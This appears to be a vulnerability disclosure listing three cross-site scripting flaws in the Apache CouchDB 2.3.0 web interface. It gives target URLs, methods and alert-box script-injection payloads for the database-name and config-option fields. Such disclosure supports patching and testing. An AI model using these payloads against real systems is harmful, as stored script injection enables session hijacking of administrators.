`##################################################################################################################################
# Exploit Title: Apache CouchDB 2.3.0 | Cross-Site Scripting
# Date: 17.02.2019
# Exploit Author: Ozer Goker
# Vendor Homepage: http://couchdb.apache.org
# Software Link: http://couchdb.apache.org/#download
# Version: 2.3.0
##################################################################################################################################
Introduction
A CouchDB server hosts named databases, which store documents. Each
document is uniquely named in the database, and CouchDB provides a RESTful
HTTP API for reading and updating (add, edit, delete) database documents.
#################################################################################
XSS details: DOM Based & Reflected & Stored
#################################################################################
XSS1 | DOM Based - Create Database
URL
http://127.0.0.1:5984/_utils/#/_all_dbs
PAYLOAD
<img src=x onerror=alert(1)>
<input id="js-new-database-name" type="text" class="input-xxlarge"
placeholder="Name of database" value="<img src=x onerror=alert(1)>">
#################################################################################
XSS2 | DOM Based & Stored - Add Option
URL
http://127.0.0.1:5984/_utils/#_config/couchdb@localhost
http://127.0.0.1:5984/_node/couchdb@localhost/_config/1/%3Cimg%20src%3Dx%20onerror%3Dalert(2)%3E
METHOD
Put
PAYLOAD
<img src=x onerror=alert(2)>
<input class="input-option-name" type="text" name="name" placeholder="Name">
#################################################################################
XSS3 | DOM Based & Stored - Delete Option
URL
http://127.0.0.1:5984/_utils/#_config/couchdb@localhost
http://127.0.0.1:5984/_node/couchdb@localhost/_config/1/%3Cimg%20src%3Dx%20onerror%3Dalert(2)%3E
METHOD
Delete
PAYLOAD
<img src=x onerror=alert(2)>
#################################################################################
`
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